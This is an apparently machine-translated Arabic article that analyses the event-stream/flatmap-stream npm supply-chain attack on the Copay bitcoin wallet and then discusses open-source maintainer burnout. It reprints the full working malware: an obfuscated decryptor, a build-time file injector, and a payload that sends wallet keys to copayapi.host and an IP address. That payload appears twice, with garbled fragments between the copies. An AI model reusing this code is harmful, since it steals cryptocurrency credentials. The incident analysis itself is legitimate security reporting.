قصة سهولة الفاحشة من اختراق البنية التحتية الحديثة لتطوير البرمجيات

في نهاية أكتوبر ، ظهرت رسالة مشكلة في أداة nodemon Node.js الشائعة للغاية. الشيء الذي تم عرض التحذير التالي في وحدة التحكم: DeprecationWarning: crypto.createDecipher is deprecated . مثل هذه التنبيهات حول الميزات القديمة ليست غير شائعة. على وجه الخصوص ، بدا هذه الرسالة غير مؤذية للغاية. لم يشر إلى مشروع العقيدات نفسه ، بل إلى أحد التبعيات التابعة له. يمكن أن يظل هذا التافه دون أن يلاحظه أحد ، لأنه في كثير من الحالات ، يتم حل هذه المشكلات بأنفسهم.

الصورة

بعد حوالي أسبوعين من أول ذكر لهذه المشكلة ، راقب أيرتون سبارلينج كل شيء واكتشف أن سبب التحذير كان إدمانًا جديدًا عميقًا إلى حد ما. جاءت الرسالة من جزء غريب من التعليمات البرمجية في نهاية ملف جافا سكريبت مصغر لم يكن في الإصدارات السابقة من المكتبة ، والذي تم حذفه من إصدار أحدث منه. قاده بحث أيرتون إلى حزمة npm الشهيرة لحدث الأحداث ، والتي يتم تنزيلها حوالي مليوني مرة في الأسبوع ، وحتى وقت قريب كانت تحت سيطرة مطور مفتوح المصدر يتمتع بسمعة طيبة.

قبل بضعة أشهر ، تم نقل إدارة الأحداث إلى شخص آخر ، مستخدم غير معروف سأل ، عن طريق البريد الإلكتروني ، لمنحه حقوق نشر الحزمة. وقد تم ذلك من الناحية القانونية. ثم قام هذا المستخدم بتحديث حزمة حدث الأحداث ، بما في ذلك تبعية البرامج الضارة لـ flatmap-stream في إصدار التصحيح الخاص به ، وبعد ذلك نشر إصدارًا رئيسيًا جديدًا من الحزمة دون هذه التبعية. بفضل هذا ، أراد أن يجعل التغيير أقل وضوحا. المستخدمون الجدد ، الذين من المحتمل أن يكونوا مهتمين بالتبعيات ، سيقومون بتثبيت أحدث إصدار من حدث الأحداث (4.x وقت كتابة هذا التقرير). ويقوم المستخدمون الذين تعتمد مشاريعهم على الإصدار السابق من الحزمة تلقائيًا بتثبيت إصدار التصحيح المصاب في المرة التالية التي يقومون فيها بتشغيل الأمر npm install (يأخذ هذا في الاعتبار الطريقة الشائعة لتكوين إصدارات الحزمة المناسبة للتحديثات).

تفاصيل الحادث


تم تكوين الكود الضار للتيار الثابت المسطح للعمل مع ملف البيانات ، والذي ، بالإضافة إلى بعض الخطوط التي كانت غامضة للغاية ، تحتوي على شظايا مشفرة ، والتي يمكن فك تشفيرها فقط من خلال معرفة كلمة المرور.

 ! function() {   try {       var r = require,           t = process;       function e(r) {           return Buffer.from(r, "hex").toString()       }       var n = r(e("2e2f746573742f64617461")),           o = t[e(n[3])][e(n[4])];       if (!o) return;       var u = r(e(n[2]))[e(n[6])](e(n[5]), o),           a = u.update(n[0], e(n[8]), e(n[9]));       a += u.final(e(n[9]));       var f = new module.constructor;       f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])   } catch (r) {} }(); 

استدعاء هذا الرمز جزء Payload A يبحث عن كلمة المرور في متغير البيئة npm_package_description المعين بواسطة npm. يحتوي متغير البيئة هذا على وصف لحزمة الجذر ، والذي يسمح للتأثيرات الخبيثة بالتأثير على حزمة مستهدفة محددة فقط. خطوة ذكية! في هذه الحالة ، كانت هذه الحزمة هي تطبيق عميل محفظة Copay bitcoin ، وكانت كلمة مرور فك تشفير الكود الضار عبارة "Wallet Bitcoin Wallet" (تم الكشف عنها بواسطة maths22 الخاص بمستخدم gathub ).

بعد أن قام كود Payload A بفك تشفير الجزء الأول من البيانات بنجاح ، تم تنفيذ الرمز الذي نسميه Payload B

 /*@@*/ module.exports = function(e) {   try {       if (!/build\:.*\-release/.test(process.argv[2])) return;       var t = process.env.npm_package_description,           r = require("fs"),           i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",           n = r.statSync(i),           c = r.readFileSync(i, "utf8"),           o = require("crypto").createDecipher("aes256", t),           s = o.update(e, "hex", "utf8");       s = "\n" + (s += o.final("utf8"));       var a = c.indexOf("\n/*@@*/");       0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {           try {               r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)           } catch (e) {}       })   } catch (e) {} }; 

تحقق هذا الرمز من أنه سيتم تشغيل البرنامج النصي بشكل خاص باستخدام وسيطة سطر أوامر معينة ، مع وجود شيء مطابق build:*-release نمط التحرير. على سبيل المثال ، قد يبدو مثل npm run build:ios-release . خلاف ذلك ، لم يتم تنفيذ البرنامج النصي. يقتصر تنفيذ التعليمات البرمجية هذه على ثلاثة برامج نصية لمشاريع البناء المستخدمة في Copay. نحن نتحدث عن البرامج النصية المسؤولة عن إنشاء نسخة سطح المكتب من التطبيق وإصداراته لنظامي التشغيل iOS و Android .

ثم بحث البرنامج النصي عن تبعية تطبيق أخرى ، أي أنه مهتم بملف ReedSolomonDecoder.js من حزمة @ zxing / library . لم يتم تشغيل رمز Payload B هذا الملف. لقد قام ببساطة بضخ كود Payload C فيه ، مما أدى إلى حقيقة أنه سيتم تنفيذ هذا الرمز في التطبيق نفسه ، عندما ReedSolomonDecoder تحميل ReedSolomonDecoder . هنا هو رمز Payload C .

 /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() \ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \ n2wIDAQAB \ ن ----- END /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() 

تم تصميم رمز Payload A و Payload B ليتم تشغيله في بيئة Node.js ، على خادم بناء المشروع ، ولكن Payload C تصميم Payload C ليتم تشغيله في بيئة تشبه المستعرض تحت سيطرة إطار Cordova (المعروف سابقًا باسم PhoneGap ). يتيح لك هذا الإطار تطوير تطبيقات أصلية لمختلف المنصات باستخدام تقنيات الويب - HTML و CSS و JavaScript. تم تصميم تطبيقات عميل Copay (وكذلك شوكات هذا المشروع مثل FCash ) ، المصممة لمختلف المنصات ، باستخدام Cordova. بالنسبة لهؤلاء العملاء ، يستهدف الهجوم. هذه التطبيقات الأصلية مخصصة لمستخدمي Copay النهائيين الذين يديرون محافظ Bitcoin معهم. هذه المحافظ كانت تهم المهاجم. أرسل البرنامج النصي البيانات المسروقة إلى copayapi.host وعلى الرقم 111.90.151.134.

استنتاجات مخيبة للآمال


تطوير ما تحدثنا عنه للتو هو مهمة شاقة. تطلب هذا الاختراق إجراء بحث جاد وجهد كبير للقيام بهجوم. من المحتمل أن يكون لدى المهاجم أيضًا خيارات احتياطي سيستخدمها إذا لم يتمكن من التحكم في حزمة حدث الأحداث. بالنظر إلى كيفية تنظيم الهجوم ، يبدو من المعقول أن المهاجم كان يستهدف في الأصل على وجه التحديد Copay ، وليس فقط اكتسب السيطرة على المكتبة الشعبية ، ثم فكر بالفعل في ما ينبغي أن يفعله به. تشير شعبية الأحداث إلى أن المهاجم لديه طريقة سهلة للوصول إلى أجهزة الكمبيوتر المهمة في مئات الشركات حول العالم. لحسن الحظ ، تم اكتشاف التهديد بسرعة وتحييده ، بالنظر إلى المدة التي كان يمكن أن يمر بها دون أن يلاحظها أحد ، ولكن التفكير فيما كان يمكن أن يؤدي بنا إلى الاستنتاج الواضح: المصدر المفتوح مرض خطير.

فلنضع قائمة بالأسباب التي أدت إلى الحادث المذكور أعلاه:

  1. تم بناء التطبيق (Copay) على أساس العديد من التبعيات المختلفة ، بينما لم يتم حظر شجرة التبعية الخاصة به.
  2. حتى مع الأخذ في الاعتبار أنه لم يتم حظر شجرة التبعية ، لم يتم تخزينها بشكل مؤقت ، لقد تم تحميلها من المستودع في كل بنية للمشروع.
  3. تعتمد آلاف المشاريع الأخرى على تدفق الأحداث ، فهي تستخدم نفس التكوينات أو ما شابهها.
  4. الشخص الذي دعم المكتبة ، التي تعتمد عليها الآلاف من المشاريع ، توقف عن العمل عليها.
  5. استخدمت آلاف المشاريع هذه المكتبة مجانًا. في الوقت نفسه ، كان من المتوقع أن يدعموها دون أي تعويض مادي.
  6. الشخص الذي دعم المكتبة نقل السيطرة عليها إلى المجهول فقط لأنه سأل عنه.
  7. لم تكن هناك إخطارات بأن المشروع غير مالكه ، واستمرت جميع آلاف المشاريع في استخدام الحزمة المناسبة.
  8. في الواقع ، هذه القائمة تطول وتطول ...

إنه أمر مخيف حتى التفكير في الضرر الذي يمكن أن يسببه اقتحامنا. على سبيل المثال ، تعتمد المشروعات شديدة الخطورة على مجرى الأحداث. على سبيل المثال ، Microsoft Azure CLI . كانت أجهزة الكمبيوتر التي تعمل على تطوير هذا البرنامج هي المستضعفة ، وتلك الأجهزة التي يستخدم عليها. يمكن أن تحصل الشفرة الخبيثة على هؤلاء وغيرهم.

المشكلة هنا هي أن الكثير من مشاريع البرامج مبنية على أساس ما سيعمله الأشخاص الذين يتوقع منهم القيام به مجانًا. إنهم ينشئون برامج مفيدة ، ويشاركون فيها لبعض الوقت (أو ربما يصنعونها فقط في المجال العام وهذا كله) ، ومن المتوقع أن يدعموا تطويرهم حتى نهاية الوقت. إذا لم ينجح ذلك بالنسبة لهم ، فسيظلون إما غير نشطين أو يتجاهلون المكالمات أو تقارير عن نقاط الضعف في مشاريعهم ( مذنبون ) أو يقدمون مشاريعهم إلى أشخاص آخرين ، على أمل أن يتمكنوا من المغادرة وعدم المشاركة في ذلك. أحيانا يعمل. في بعض الأحيان لا. ولكن لا شيء يمكن أن يبرر الثغرات الأمنية التي تظهر في البرنامج بسبب هذه الظواهر. بالمناسبة ، فحتى اكتشاف مشكلة في مجرى الأحداث ، والتحقيق فيها والقضاء عليها ، كان يتم بشكل أساسي من قبل متطوعين من المصادر المفتوحة ، الذين لا يتم دفع رسوم عملهم بأي شكل من الأشكال.

يرتبط الكثير من الأشخاص والمنظمات المختلفة بما حدث أن البحث عن جناة معينين ليس له معنى كبير. المصدر المفتوح مريض بشكل خطير ، وكلما أصبحت هذه الظاهرة أكبر ، زاد احتمال وقوع كوارث. بالنظر إلى الإمكانات المدمرة للحادث الذي تمت مناقشته هنا ، من حسن الحظ أن هدف المهاجم كان مجرد تطبيق واحد.

مشاكل مماثلة لا تقتصر على Node.js أو npm. في النظم الإيكولوجية ذات الصلة ، لوحظ وجود مستوى مرتفع من الثقة في الغرباء على نحو غير لائق. هذا له علاقة بـ PyPi في بيئة Python و RubyGems و GitHub أيضًا. يمكن لأي شخص النشر في الخدمات المذكورة أعلاه ، دون أي إشعار بنقل إدارة مشاريعهم إلى أي شخص. وحتى بدونها ، تستخدم المشاريع الحديثة مجلدات الكود الخاصة بالأشخاص الآخرين ، مما يؤدي إلى توقف تحليلها الشامل عن عمل أي فريق لفترة طويلة. من أجل الوفاء بالمواعيد النهائية ، حدد المطورون ما يحتاجون إليه ، والفرق المسؤولة عن الأمان وأدوات التحقق من الشفرة الآلية لا تواكب التطور السريع للبرامج المتغيرة باستمرار.

أعزائي القراء! ما هو شعورك حيال حادثة الأحداث الأخيرة؟



Source: https://habr.com/ru/post/ar434116/


All Articles